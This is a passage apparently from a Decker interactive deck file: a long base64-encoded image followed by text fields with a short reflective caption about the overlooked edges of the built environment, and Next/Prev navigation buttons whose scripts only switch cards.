AQAAAAAAAAAAD52BLP/zf//+v/////////77A0p4/+///////+8927/u3///92fv/5/////////bvb2sh8IAAAQAAAAAAAAAAA+2BTG/3//v/r//f/////e/7QP5/P///////3e7/f2ze7///93ef//3/+3//f///+7zuAeuwAAEAAAAAAAAAAAP8g+8u/f//P98///////+/8yD9j//f//////z2tc373/////u+9///////////7W7BmSD3GIAEEAAAAAAAAAAB39j813//77//f+/3////n3OAD5//5////3/7nff9u3/////u7v//7//+//+/zf+/8e5BucsAEAAAAAAAAAAAAKdy/3+///Pn/v/////////D5EW/v/v/////7/t+d7f//////7e///v/////7/P793/+4HN3AEIAAAAAAAAAAALN9f8/zf/z//7/3///////ftx///4//////9zvm57///+7v/X5//////3////z/t3J/+De8QMCAAAAAAAAAAADl9mff//vd//4/9vf/////3f8P///+///3/tntvf7////r//9v2//9//////f2Pe/vm/4f9+IAAAAAAAAAAAAA9b7/lf7r+b5+//v1//////+///////////9v3/t////+7v/769/6////v//9/H96/a//f3uYAEAAAAAAAAAAAP//3+5//98//S/38r/////r/7///////f++ztpv/////+7v/t53+97//+//7//73523/3++wAAAAAAAAAAAAAD+b3/fvvvYP/3P/vv/////7/ev/v//////+zN73f//13/u/393/f////////7//vd22rf894QCAAAAAAAAAAAA/6Z+X+7n7G3+b9/rf+///x/EL////3////b739v//df/+//7/a///b//b//b//e9/tsv52cBAQAAAAAAAAAAAP/n/5v39f78f//Z/t/n////xP/////////UzuZ7//13/+vv/pu7//+///P//3/d77dtd/OEOQkAAAAAAAAAAAD//Pe1+//u3P/f9+b//////wMH////83//t2c/7/u/337/7v/2/f/+//7f/bfe/3r1t5f+AFcIAAAAAAAAAAAA//y+59/6hxz9//Ph//////8CB+///93v/225+b/7/d9/+//7d89/78/7/b/997bfvtuP/+BWAAAAAAAAAAAAAP//63vf+wMX/t/54X9f////hgBH///9v/1Mr8+3/73//++//t37v73//2/u37399e7ax//zDwQAAAAAAAAAAAD//9bd/74CB9//78H/n////4wAT3///H/1s9t+9/v9d///7/7+fu33tt37e/b/b297btP//egAAAAAAAAAAAAA///+d/vgBA/fv5fI/v////+4AC////9/9r5W893733/37u77s8//f//3v99/+/v7v22h37b6EAAAAAAAAAAAAP///zD/oAAHgv+/gP/////74AAH///f/9rLdt53/73//27//7/7d9t7fu3322++3u23qBf/7AAAAAAAAAAAAAD///8wHsAAD4T///j//////gAAAv33//crc5vf7/+9/f/7v+3tv93/39v/ff/+79/ttskv//5gAA7negAAAAAA////RD8AAAevP/++3/15/fUAAAH7//3+7Zzrc7v7/3/f7//7fbb/bf3/d99tv/tzf23Qh//7oAAI75wAAAAAAP///0J3AAIP31/vN7+Yff/8AAAHd//d/bbtrd7f/73/fv//vtfvt/9vbd33/+3f/3Pbdg///9AAC/KAAAAAAAD////hfwBCz/et/hn/4D/d8AAADLf///MzNrd93f+993///ef2e/23+///fbf//b3e29hHnb/wAACVMAAAAAAA////wH2Yff+/n/ff//0OzZAAABj//8+t3dP7ref7/93//vd9v97f/b+2///////v32z9I7/6fABqE5QAAAAAAP////53/3dfm9/3///7z4rgmARg///+nMzf/u8///3f//e+3tn39t//////////+3dv/yC//v8ALgH8AAAAAAD////898B3/+3/r//7/48a7+gDwX///7NzN/33+/+///7drevvPb///////////9/9s3+I////APyYHgAAAAAA//////dAv3+137//2f//vfrgA/N///9vN9//PNv+///u3fd/P+/t///////////9u73/yX7//gD/TgoAAAAAAP/////2QB9/d79//4r/36n/AB+h///9rNzP/+/f///7u/d+1vL7f////////////+7N7+Qf//4AflfgAAAAAAD//////h6GfPb///8Ar/24/8AOj///62vPf/7bd///vvc9y/vfn9////////////t/dvvyD//8AZsFgAAAAAAA///////iAv5n//b/gA/9vfz4LCf///ZzP77/3fv/++dt7/+/ffb/////////////29vf+SfudwIgDkAAAAAAAP///////oP9eI7/6sED/Ij4WCgr///1nP/Nv3ee/7t93vb/7e9/v////////////v7bdf5D35wOhC4AAAAAAAD//////9+Cf/f///P8hfwALDQQB3//290f/O3297vu3tu///7rzf////////////+3bf3/EM/6+MACAAAAAAAA//////83pv/3/+Hjv4X+ADwVIC///6pnLvv/P/3ubue/////vv9//////////////bbv/5CdJ+eYJgPgggAAAP///////Yf/3v3+Y7/hvAA2PGAd//ttsmdtu+1Pd7u9/////3d3/////////////2+2+//kJgP/nfuBwAAAAAD///////wR/29//Pm/wboAEgRAA/763f/3P/u3e933///////d3f/////////////723f/8QIf3fm/z/oAAAAA///////8Efib/v7/H1/8AAAEhArf+zP99//2+/t7Xf//////++//////////////vtt///kh//fP//9dzAAAAP///////6vB+n34fw9EfhgAAYEjJ/vf/fff7Z7fb////////267/////////////++27//8IH/zm/7/z3AAAAD////////fw7/f+B+MgH4YAAEBU/fsz/+za9v3be3////////v9/////////////97tv///wj//k4//7p4AAAA/////////5j/fvYMCGf2CAQDAf//3z//sWpzbe+/////////u3f//////////////tt3//+C//9I91/39AAAAP/////////t/mPQDQDH8gwAA1L//7////u7r3u6//////////2////////////9/9/bd///5H/+QOt/u5AAAAD/////////jf7/4MEwh9AEAAKH//9/n/39za3e7//////////X7f////8/////3T/3bd+//+F//Q/8u9+GAAAA/////////5+T9+gCBfP4AhAWD//+//39/fV2123/////////vt///37/P////dA/ve2////wH/3/dj//goAAAP////////945/fAAABk/A8Ath///f/7//03U73f/////////+/3/9B5/H///7QAP/+29+///g9+302Bz6AAAAD/////////hk7/ZwCAXvA/+IaP//t/2/z22t/t3//////////5vf/3/fw///aAAD/e2397//6XzHv7A6LAAAAA/////////8/c/cUDuADwPP4WC//29//7N97Zd3//////////v7v/9/fqP/+wAAA/99t/3///M8wegAG8gAAAAP/////////1/f+QAewGeHTnRv//7e3/+5lnb3dv/////////+bv/+T18n/7gAAhP73tn7b//5Gk/8AANAAAAAD//////////Hu7sAFYCd9/45///9vN3/bv/2fd////////////7//2vX4dgEAiAD/vbff/v//ww+PgA4wAAAAA//////////+9v6AD3AnGfeH3//+2sd/2Y77Z3b//////////ubv//z3u3AAhAAQ/+95/bf//8A/v4AOmAAAAAP///////////fvf1vwA7P3g////t7jn3//u3ve//////////++///887j4AEARAP77zu+3///hf/eAAIgAAAAD//////////9n3n/baAP//8X///2m4uW/9/7c8///////////u7f/+/f4+JAghEL/vva+/f778F+sgBBAAAAAA///////////33nM/iAGD//B5//7P772////17///////////u+//4X1//gAGAAH/++7752/v/h/64AAAAAAAAP//////////+8/9+wMBgeb4////tv9mz////et///////////27//f///5AggA//77e393//z0F61AAAAAAAAD///////////7vvvhBARF+/D///bb+22////t/3//////////Pf//////+EgGD///v87/7n7fPhcdwAAAAAAAA////////////n/5iaIEAG/4///1p/bZ37//7nP//////////+9f//////gAQ////+29vu3/v/8GCSAAAAAAAAP///////////+5/B6BiAAX//P//Tydnn/v7/ve//////////779//////9IT////7/b2+9v+7fga4ADdAAAAAD/////////////M7/wAgAB/971+vb7c+//7f/3///////////Xu///////g//////t9t/b/97L8mxQ8WUAAAAA/////////////xD/+AwAAf7d1/qzTP9/9/b7PP///////////e///////////////22/9p/3+fg5o55tgAAAAP////////////9D9/gMAAA////7nd2////7fu+////////23+99/////////////7fbd7bv99n8Ic9thwAAAAD/////////////RP34AgAj/7//u203Z//3+3/7///////+3/f73//////////////9/tvd793ufgA95vaAAAAA/////////////8m9UEWAAf////pr5v//3/b9tn//////+/s/3vP/////////////32b99z/96T5AX+/6gAAAAP/////////////nvhAAwAH//+v7trq/++/9v9///f///99/7/e//3////////////f7b9vf73mfAH+v8AAAAAD/////////////944AAGAH//9v/bWv/+79/f73v/3///33/+v97//////////////9u2/6Z/Pub5D6F5QAAAAA///////////////8AAAcA////f2db/+29/t/uf/////3///733v/////////////3++3/7/+9M/h/BvcAAAAAP///////////////CAIDgP//9/663/+2//7f29//f//3///3ffe//////////////75vf/f77WT5GWfCgAAAAD//////////////2QACAMD////+zu/+29t/f333/3//////+f99//////////////7Pt//9/n8c/AEB4IAAAAA///////////////eDBEBgf////3W/+3t/36/nf/9//7////73z3/////////////287X////fk36BAOgAAAAAP///////////////Q/6AOH//+x91/7dtu9+/v5//f//////7fbv//////////////Zr99v/7/Wb/gABQAAAAAD///////////////4LfkA/3//3/nv+1ttv/3/n3////f///+37+//////////////27739f/m0o/5AAUAAAAAA////////////////C////E//f/tP+3bbet9/ff/9///////z31//////////////+5mv52///Lc/EAEgAAAAAP///////////////wu4AA7P///73+3vbr7//d9//f/v//////f2///////////////37v+/9vZT/4AEEAAAAAD////////////////B+AAH/9/t3Lf3Oe3Psz+z3/3/+////+f87///////////////5nbZs/72z7/gBAAAAAAA////////////////4L/+A//7//9v2963b9P+/v////v////z37v/////////////+/ud93/7uiuv5AAAAAAAAP////////////////B4BoJ/+//7f9rXtr3ff9u//f/v//////e////////////////b7/bv+/uz7/EAAAAAAAD/////////////////5AACP/73+Z923d6/Z799//3//f///+/7bf//////////////7PP7t/7eT3P4MAAAAAAA/////////////////7DDAg//+/7/t1Z7+3+Pp3///9v////v3vv//////////////+8+7b/39kv9/gAAAAAAAP/////////////////gQQA///f7f7nj/d/fff/f/f/7////9/e////////////////zz/bf/Xaznf6AAAAAAAD/////////////////3uP8P//f237Pvb2/0396//3/7/////f95///////////////3Pt7c/97J/5/IAAAAAAA//////////////////t8////z/2+/tzP/r3/r7////3////v333//////////////7dv72/321tf34AAAAAAAP///////////////////mCv/f/1vzN3W//v/e3//f/n////7/Pf//////////////uzbvnf/P9Lz2/QAAANAAD//////////////////3/59/1v9v/dtfb/+/9/f/3///////f+9v//////////////3Nt/tf+5Nbe/5AAACYAA////////////////////7ff///b83bz9+///t9////n////337//////////////99e3du/7/5XL6/AAKwIAAP/////////////////////f///7f2dvv3/W/vn//f/P////7/Xr///////////////27ft7/ttJye/6ACf4wAD/////////////////////////9327a29/8b/Pf/3//////+/3fv//////////////7N/7n/77b+z5/IB9wKAA//////////////////////////X9u7tf/+29/9////n////339////////////////tzfvX/vSWnf34Mf+YAAP///////////////////7////+9vszd3+/v/zb////v////9/vz///////////////bb3fv+92Z8T2+Rl/hAAD////////////////////////7dv73Zv/99//+//3//////+/u////////////////+735b/9/S8zf/5O9PwAA////////////////////97f//3t9m3s9+7/+27/9/+v////v//3//////////////+zn/7n97Wfmn0/Dqv4AAP/////////////////////X//97fe2Zvv+///f////v////398v///////////////3e37///2Z6mf/yPP+AYD/////////////////////////7f5s5/2+9/9t3////f///9fZ7///////////////95//lv7/m9mb6+B/yIQA/////////////////////v///mX/m3/89///v3////3///932z3///////////////nm//37nuXmk+35PsBuYP////////////////////////7ufbNf/vP//ff//f/v////v9bf///////////////te////32V6mT+/BHw8mD/////////////////////+///6/ztlPn///99v///+///+s/W3//////////////79n2//v39kum5e/yZ4AoQ//////////////////////z///t/Ofd8zX//3v////7//7t/2b3///////////////bd8///t+z2jn2+BsArQP/////////////////////9///2/c5NX73v/vPf/f/v//bN/89v///////////+///5t77//v+J+mMe34ND7cD//////////////////////9//9v1jb//97/+/f///+3+29//U3//////////////77b7+3/9u2+90z+/Dgv/Y//////////////////////8P/+3/Obf/////7f///v/bbbf/3b3///////////////zb/dv9/tL+lt8/yYN/2P//////////////////////z//tfNt//7f//v+//f/t3dt//9tv///////////+///2b72//5/k+0oj9+Def97////////////////////////P93/ae511//+2/////3d////Tb//////////////7+7X/tf7+3f/rrfX0Ov/R////////////////////////zvX7Nt63/////////v//////3b///////////////+zd/u3/7tN26WX8+R/+z/////////////////////////zt/ORfuPf//22//f/v/////929//////////////39W37v/b/c/2xSe3wf++v////////////////////////97n+d19/////////////////W7//////////////7+27/Ov+2xm/Xmv5+j/zz////////////////////////9LP82zXtf5/+/5///v//////29////////////////q7v/b+/+nr+Sk/nyPHiv/////////////////////////9/mbN/3/3//7//f/v/////97f//////////////3+u73f/99rc27nHS+C3qL/////////////////////////7Xu06nfP3/+3///////////e/f/////////////79szfuf93yvX+NN9n0cgC/////////////////////////+99tzsri////f///v//////27///////////////vzf3+9/32zs+0zPm+TeWP/////////////////////////z/Ul85/tn/s1//f///9v//9/v////////////////M39+/vvlcz/TPqfwSHj//////////////////////////P5/X7//9//3////////f///fv/////////////59t3/2/+vs3me9I+k+igA/////////////////////////+9+xEfP93//tv///v//v/f/+/////////////////zNn/9//2q826bPbfyAAP/////////////////////////7e3e//5zP/tr//f///////9/9//////////////7/Nv///3dsszf6Z8k6AED///////////////////////////0z//v7N//b////7//////d//+////////////7+27////f5b1n/Teab0AA///////////////////////////9md9789//tv///v//+/f/////v/////////////5L3f//23J1me2XZr+QQP///////////////////////////th3z3zX/u3//////////8/t/4////////////z/e39//39tucr6z8mfkAD///////////////////////////5nP79dN//b////////3/31//+v////////////+y3O2//t5Lpqf6uZU+QA///////////////////////////5uY/219//t//9/v//3/f/7d//j////////////37O/77/v7b6Vr3T5nv0AP///////////////////////////5lj+/5n/u3///7///f//+/t/57///////////3/du2nv/eye1mfV6yO/ADv//////////////////////////7QfPuzt7/b////////7/3tv/+u/////////////xdvff996xmcb+ujtvmA////////////////////////////7o3O79v/t///////33//7vf/jz///////////vvdv1t/27ncp0/72lW+AP///////////////////////////+km7//7/7f///7///f3++/f/59f////////////Te7O//+0XmGT39ndvmD////////////////////////////5H7u5J//f///+///+///t9v+uX////////////2Z+s7+393mc9ffmLn+Q/////////////////////////////f/b7ff9/////////9//7vf/ryf//////////f+z/zW//bKdpsz/pstviP//////////////////////////////z9db/7e////////3/+vf/88l////////////m29M/++6vGozbdmZ7+T/////////////////////////////k39f+/+f///+///+v/+vd//fWf/////////++c7u21++9X9LVn9pZmvk//////////////////////////////We+a////////f/+///7fd//xL/////////7/+zv7N/99VbNNmf5mza+f/////////////////////////////87+63v/+/////////3+/f//8mf/////////3/tvcs393bP7WNL7aTXvn//////////////////////////////2szt/+/////+////v6+9///ab///////////Zt3zb//+N/LM2bptnN9//////////////////////////////9f3M+//////3////v/7vd//0m/////////fv/Lb/N/7u7d6m2b62WbPv//////////////////////////////nm7zv++///////+//a////////////////7/Nvv6f7v6PfTM2exZmy///////////////////////////////+ezPP+//////v/7//3t77////////////3v/7Wb/7//26x9k2blmm7v///////////////////////////////9t2d//3/////////272/////////////3//7N9//f3drOnnUs9uaTd////////////////////////////////azbfduf/////////q+3d///////////37//mXX///f7Xp9M0/JNmXv///////////////////////////////7LW7//f////////vut9////////////f7//rNd///+2b5n2trts638////////////////////////////////dmz/t/////////e671/e////////3be///+n2+//t+zuS+Ms9ba7f////////////////////////////////9W3f7////////957uvff///////v///9+//mbpzf/3uXpn9J9pM+3/////////////////////////////////723/vf//////d33zO7/vf////////7v2//tW+/d/be16kfdlzaz3/////////////////////////////////+m29+//////+9/fXb2/ve3////////vv///F9b7///WeZr5b9bP1//////////////////////////////////+1v7+//////77d9ut+//////////+/f///uV3/P+32ZkmfZnSc93//////////////////////////////////nv/v//////3vd77Pt73v////////992//43bb8/7bm+ZV+T2zRL//////////////////////////////////+s/u7//////++/rbO/3vf///////9/////E9r//3/2eZlP7e2d6///////////////////////////////////t/f+//////36/3+/f3///////////dv//czez+/b1t6Jb+2ky2////////////////////////////////////f+3///////d93Ttt372////////+//t/8n53///7mbZmnz9mtz///////////////////////////////////5+/b//////93/fr3/73//////////ve//MzHz/+3tPbJOfett7v////////////////////////////////////9+//////f/d++vP7///////////+/f/ZvbXf//td5Js3+tnWr////////////////////////////////////33//////fb/z5u/3/v/////////7/t/9KzPZ/27ZbbLWf7tNrv////////////////////////////////////u3///////nvn7bfe///////////97//ZuW7v2/Zv7ZMx+Nttv////////////////////////////////////u6///////f+/+/f+/////73t3/u37v/ydzLs//2y/l2nm5rbbf////////////////////////////////////vv/////ff/v+6/v///v3f/v/3v/f7/+Z6Nnz/7rN+Wct9tPy2////////////////////////////////////uf//////f9u+76+3v/vv/d/+/v3////Jq5bfv7s3vsxptZ8vP/////////////////////////////////////d////////77+3v/v/v/7/979/3u/n/6OzaDf/uz7+3NrzV/f3////////////////////////////////////f//////3/bvu/fvv2/733v//93+///6bcS2Nf7ttn5tJ+ZvJ9////////////////////////////////////+b/////////e59/f373v//e9//3+///k2y0zdtszm+mbdzs7X/////////////////////////////////////9/////7/7bf/33f33v/77/////e///6XqljPdzZ7f75b2bud7////////////////////////////////////////////f/vm3f/f///377v//99///+pslmSdvZnM/DS8zNzf/////////////////////////////////////7/////2++//t5vd7///3//////////m3VMTP6zb2T+bdmbnf////////////////////////////////////////////++7buz/f3v///99//t+////5HtMmWbvZ7d/612zOX////////////////////////////////////////////v///vv5/v////77//vb7///+lqJqSbczWkz+zdna7f///////////////////////////////////////////vfv3/d3/vv///77///fv////pfLJGk92Z7bP+vmTtn////////////////////////////////////////////9vv7bbbv///+////7ef////5l2LGGZtz9s3/7tuc3////////////////////////////////////////////7///+9//3///5+////5e////DaSWMtu2TyzH/emz1v///////////////////////////////////////////7/3vb5293///3/7//f/3///9s+lRIkm819tt/3tO1r////////////////////////////////////////////93v/v/f/////b37///m///94z2WmVMTm30zJ/ts3u////////////////////////////////////////////f3v/f19+7///+////g+f///9hsSYUZmcp/bNn+bV6////////////////////////////////////////////+//+9/3+/////b7//wPb////yfkkwpm2V/02b/pN2/////////////////////////////////////////////973///b+////2//+8R27///612WSiVLkzvTZj+2nm////////////////////////////////////////////3739///+///++/be+Te3///+h0kn5JM8j/+m3dzNs3////////////////////////////////////////////v379/3e/f/9/n///jH3////07mM3GpTk3/uZT1tvn///////////////////////////////////////////////////+//9/2/33+D0////8z0ZYabNsz981n5zLPf///////////////////////////////////////////92/3v3/37v8/9v3/eA//////h1hM7JIaQt/mafLN83/////////////////////////////////////////////7vv9/fvv/B////vxfv////yfmS/Yzb0j/+5rbbXX////////////////////////////////////////////u//vv//+/75F9977/fv////9MxLuzSIuZO3zW9TNdf////////////////////////////////////////////9/v//+79/vtv/7/v//+////R9km7Uqrxn//ZXW653//////////////////////////////////////////9/33v99//t7//v/73v//f////ZbiV70ybuIe39l6zbn///////////////////////////////////////////////3/f//795P/7/ff+/v///6W0l3bkxp5h/f22m1s///////////////////////////////////////////7/79v/3/7/37///9/v//////zR9kbdszLPGm7/vMzlv////////////////////////////////////////////////1/v23////f3+3f9////yXJbu1gn55J/f/5mtv////////////////////////////////////////////+3vf/f/3/vf//+/f/f9////ynZDbfWy+XM/5/7Mzp+///////////////////////////////////////////////+39/3v///379///+///3ltSbs6Rs5Yw7n/tnLr//////////////////////////////////////////////3/939/ff//3v33/9v////0bTHu6lnPPhv8vqc2a////////////////////////////////////////////3////fb7/d///+/vf9/f///9NyHbe8k847J/v7Zmbv////////////////////////////////////////////////W//u///979v/f/////2k+pbZ1ptHTJPf/mc2b////////////////////////////////////////////////97ff/bb979/u9u3f///5NjGTXRjcddY/fsxmb//////////////////////////////////////////////+/7X3/d//7/7/e///////2H1JyndLfbnjP/7TM2f////////////////////////////////////////////+///3X39727+/999tt+///+ydC2rMyU4ceY7fm52bv///////////////////////////////////////////////19vv/3/9+939//9///9pNmNOTjTTTpzL/sjM2f///////////////////////////////////////////////3b7+939799/v97/////+W5J3dOWWcc8c/LObmf/////////////////////////////////////////////v//3b97373v9+/f33v///thtk0z2kVXhxxT+0ze1///////////////////////////////////////////////+13/3v7/ff+99v3vf///svJHqTaXUc+e1fVGXnf/////////////////////////////////////////////9//fb//77//e/7/v/////sjZMoycsfJhzzTvMzm3f///////////////////////////////////////////+9/+13/t3/vu//ft/3v///vk3Inazk05eOOKfpmun/////////////////////////////////////////////7/f93ff/d+//fe/73vf///MvJLemtJ3Dp06ztMzPX////////////////////////////////////////////3//df39u/37ve+/fv/////ci7Ju06M06cueyfZnd3////////////////////////////////////////////v9//23///ff/f79++72////k7Cbdnpdjhw46xJMnW/////////////////////////////////////////////7++//v93f93f333//v///2ZPia19ZJacvPnTSZuqr////////////////////////////////////////////3/++2/9/fb//v/v3e/////7Lag3p2afLh027bZMjr/////////////////////////////////////////////33+///9//7vv7/v972///2i2Gnb2pd4dOXPSSZXW////////////////////////////////////////////9/////7//u7/f3t+7/3////aPsZd26RHTww4baZuVv////////////////////////////////////////////9+7t/3/e+/3f3/7/73///92S4xW2ybc8OXnbMySdv////////////////////////////////////////////////33/+9+/fv3v9737///3J7GS+2klnl04Z82Zqq////////////////////////////////////////////9/vf/v77//7/v/fd7/73///aNsas9mTUcOXTHIzndu////////////////////////////////////////////////v7//e3vv2/f/+/////2bYyX10t3RpyZcdmNZX////////////////////////////////////////////+/f3/3/7f//f/+/e999//+2w/KVPZkl5eHLjrsxnd//////////////////////////////////////////////f/v/37/t7/73/99/7////obk0rf1JXDpy889nKa/v//////////////////////////////////////////7//v+7/f/v77v3vb9+77///uzaSjeNN26MnHDjsrrf////////////////////////////////////////////77///+/9/77+///9+/////9i2Mta2ZNLly8cMsqWZ//3///////////////////////////////////////////7+/3//73/9+939+/d///9sPkxTHJLVcOHDzz51Z///////////////////////////////////////////////+9vvfv/99///t+/f9//76TslJfma2bp0cdONVm3/////////////////////////////////////////////+////f/277/fe/+/fv///7puMyzqZNxcmnjl51qZ//+/////////+////////////////////////////////////9//v/vvff/+/fvv///aNojKCk3eRi4eOOurtv//9////////////////////////////////////////////33/v//f//fvb/f/////cb5Mk2aSw5uPLlw0zMz/////////////f//////////////////////////////////v//97/vv///v/33///+wzMzSRsvfFw6cOu2dr////////////////////////////////////////////////v3d/73+/v33/vvv3//+6bglEnE3R5fHDpx1zM//////////////////////////////////////////////////99//39/v33vfv3//32j5MW2bJ+Hh0cOPHWdz//////////////f/////////////////////////////////7///f3v7/3///f3///3K2MpJJpv4cXTpwy5zN///////////////////////////////////////////////+/9/f///v73933//////8toakmzbevzycumG2a///////////////////////////////////////////////+/79//u9/////vvt9///rD4YbaZZliYOTh04z7L////////////////////////////////////////////////3///v/729++/vf99/+/suSRslzbOHw4OGXnPc///////////////////////////////////////////////////3v/f//++/f//////Yuw2SdTbp4eXr0466Z//////////////////////////////////////////////////7v///d/e//f73ff///LYk3Ztzrejk4MvHHfn//////3f/////////////////////////////////////////3///ff7////33/f//242JE2s3bh6OLxw4Zc5///////////////////////////////////////////////////////v3v3v3/7////7PosyZ7e+Hl4dPDLL3v////////////////////////////////////////////////+///77/3///3+//////K4Yt9ptrs5Obhy4ca7///////e//////////////////////////////////////////////73//739+9////67Bpm22c8niwdOHbzn////////////////////////////////////////////////////f/f/97//////////9kTqZ7fzyePRw8cdd///////////////////////////////////////////////////vf//d//+/////////d4zJt2tkvPk5uHLhln/////////////////////////////////////////////////////ff////////////37CNG2z2z0dPB04dd+////////////////////////////////////////////////////9//////////////+fkpZrtt5OTk5ODTjlv////////7//////////////////////////////////////////////////////////t4DTWszfz5ODm5cON///9//////3/////////////////////////////////////////////////////////7fMaXdr27PX2cXDllz//3////////////////////////////////////////////////////////////////+Zoyy3a3PS4OTi6cMu//3/////////////////////////////////////////////////////////////////3KCmnbn4+PpyeHDpzj///////////////////////////////////////////////////////////////////6eYom2u/n48nJ0cMuO///////////////////////////////////////////////////////////////////+5hjm727sfLr5Objw3////3///////////////////////////////////////////////////////////////3sEJNnaez48nTw8euf///////////////////////////////////////////////////////////////////9q5Sm2316fTi5OThhz//v////////////////////////////////////////////////////////////////+7hEKbue+x8uLg4uHGf///////////////////////////////////////f///////////////////////////uVEytu+x+Xn5eXltyz//+3///////////////////////////////////////////////////////////////61JIJdtnPZ8eTk5cOP///////////////////////////////////////////////////////////////////++iIxt2fq8nhycnBwy///9v///////////////////////////////////////////////////////////////2uZJJb/+b5enlyeeXP//////////////////////////////////+/////f//////////////////////////9thIpttv59nr5OThw6////////////////////////////////////////////////////////////////////dmQiGezfH6cnNzcOnP//////////////////////////////////9////////////////////////////////3PxCQ7ff89ny5OD5yb///////////////////////////////////3////7//////////////////////////9tWUjC/c/j2eLk6MXL///////////////////////////////////3////////////////////////////////vW5CIa/r+fl583Jw6f///////////////////////////////////////////////////////////////////3NtMSz/9vz2fDk5unb//////////////////////////////////+v////9//////////////////////////9u5YQAPfP+PJ7cnHk5///////////////////////////////////7////////////////////////////////+7biUx38v5+XF08PLf////////////////////////////////////////////////////////////////////b6cRBCf2/Hz8+Ti4b///////////////////////////////////f////////////////////////////////0yxxEk7+f7+Hh0+OX///////////////////////////////////2/////////////////////////////////3nOCSHf8/H29Ojk5f////////////////////////////////////////////////////////////////////9uYyBIV/b8eLy6OPP//////////////////////////////////+v/////////////////////////////////s5nGCjf7/n5+XZw4///////////////////////////////////7/////v////////////////////////////W2YIid/X8fD05nDv/////////////////////////////////////////////////////////////////////9ZLkpBX9fz8unm6///////////////////////////////////+3//////////////////////////////////tmMKEO/n+Pz5cWj//////////////////////////////////////////////////////////////////////6bZopI3+vz5PLk5v//////////////////////////////////9v//////f///////////////////////////5FMJEG/u/Pl6eXH//////////////////////////////////////////////////////////9///////////9tZaAUb+/w+HTxZ///////////////////////////////////t///////////////////////////////////rLKJgT/z/Xs8mnv////////////////////////////////7/+///////////////////////////////////9Mq4CIX/P8+nnyf///////////////////////////////////////////////////////////////////////2zJYIj/7fLs8On///////////////////////////////////t3//////////////////////////////////+ZW0gGb/P8+jp6P///////////////////////////////////////////////////////////////////////5ySiYFn8/x+eXP//////////////////////////////////9///f/////////////////////////////////S1sAkH/39eby5///////////////////////////////////9/////////////9//////////////////////9lkyAtn9vx4+LP//////////////////////////////////9//7f/////////////////////////////////mlLJEDf3/Hh5///////////////////////////////////7///v//////////f//////////////////////+tsoFhv+f69PD///////////////////////////////////7//3//////////////////////////////////spTI7C/7+vs7f//////////////////////////////////3v////////////////////////////////////9plIuBN/P56eX/////////////////////////9///////////+7//////////////////////////////////7bWjDF/9vHo4///////////////////////////////////v//7///////////////////////////////////ZJMYAN/v8+nv///////////////////////////////////v//9v/////////f///////////////////////5rM+SJ39vj7f/////////////////////////9////////9v//f///////////////////////////////////rMzAIP/v7eP//////////////////////////////////////9//////////7////////////////////////+TfyAQ3+fn6f//////////////////////////////////7///3///////////////////////////////////3K/JEjfz+PP///////////////////////////f///////7/+/27/////////////////////////////////+S7KkA//fr8///////////////////////////////////f//737//////////////////////////////////zWzIJDf2+PP//////////////////////////////////////v/3//////////////////////////////////k/MIQP/f4////////////////////////////////////v//f+3//////////////////////////////////7tfgRJ/7fv//////////////////////////////////////9//7//////////////////////////////////NhmAAO/f4////////////////////////////////////////33//////////////////////////////////9/dySR/9/n///////////////////////////////////7//f//+//////////////////////////////////+12ABH/n8//////////////////////////////////////9/++///////////////////////////////////3tYkA/+/v/////////////////////////////////////////////////////////////////////////////tzASD/2////////////////////////////////////+//v//////////////////////////////////////7OZAI7+///////////////////////////////////////////f//////////////////////////////////78ziQj/7/////////////////////////////////////f/f//////////////////////////////////////z6IBAf/P/////////////////////////////////3////////9/////9////////////////////////////9uzkEhv4//////////////////////////////////9v3/7/////////9/////////////////////////////zLNACO////////////////////////////////////////////////////////////////////////////////MxJIJ///////////////////////////////////+/+/////////////f////////////////////////////7TbAlH////////////////////////////////////9//3////////////////////////////////////////NrIAQ3/////////////////////////////////////fv//////////7/////////////////////////////+yWkiD///////////////////////////////////////7////////////////////////////////////////rZcAIb/////////////////////////////////////////////////9/////////////////////////////8zlkYj/////////////////////////////////////////////////7//////////////////////////////zOUQIf////////////////////////////////////3/v/////////////////////////////////////////s5wQ5/////////////////////////////////////7//////////////////////////////////////////2zmBCA==&#34;&#xA;{widgets}&#xA;field1:{&#34;type&#34;:&#34;field&#34;,&#34;size&#34;:[140,56],&#34;pos&#34;:[7,160],&#34;locked&#34;:1,&#34;show&#34;:&#34;invert&#34;,&#34;border&#34;:0,&#34;value&#34;:{&#34;text&#34;:[&#34;&#34;,&#34;it can be tempting to ignore the edges of the shape of our built environment&#34;],&#34;font&#34;:[&#34;&#34;,&#34;lucx13&#34;],&#34;arg&#34;:[&#34;&#34;,&#34;&#34;]}}&#xA;field2:{&#34;type&#34;:&#34;field&#34;,&#34;size&#34;:[334,30],&#34;pos&#34;:[91,283],&#34;locked&#34;:1,&#34;show&#34;:&#34;invert&#34;,&#34;border&#34;:0,&#34;value&#34;:{&#34;text&#34;:[&#34;&#34;,&#34;to deem them not just unremarkable but unfortunate, and certainly unfit to photograph.&#34;],&#34;font&#34;:[&#34;&#34;,&#34;lucx13&#34;],&#34;arg&#34;:[&#34;&#34;,&#34;&#34;]}}&#xA;btn_next:{&#34;type&#34;:&#34;button&#34;,&#34;size&#34;:[60,20],&#34;pos&#34;:[438,313],&#34;script&#34;:&#34;home.0&#34;,&#34;text&#34;:&#34;Next &gt;&#34;}&#xA;btn_prev:{&#34;type&#34;:&#34;button&#34;,&#34;size&#34;:[60,20],&#34;pos&#34;:[16,313],&#34;script&#34;:&#34;card1.0&#34;,&#34;text&#34;:&#34;&lt; Prev.&#34;}&#xA;field3:{&#34;type&#34;:&#34;field&#34;,&#34;size&#34;:[249,46],&#34;pos&#34;:[36,227],&#34;locked&#34;:1,&#34;show&#34;:&#34;invert&#34;,&#34;border&#34;:0,&#34;value&#34;:{&#34;text&#34;:[&#34;&#34;,&#34;the power lines, the train tracks, the roads and sidewalks, the conduit and pipes and pylons;&#34;],&#34;font&#34;:[&#34;&#34;,&#34;lucx13&#34;],&#34;arg&#34;:[&#34;&#34;,&#34;&#34;]}}&#xA;&#xA;{script:card1.0}&#xA;on click do&#xA;  go[&#34;Prev&#34; 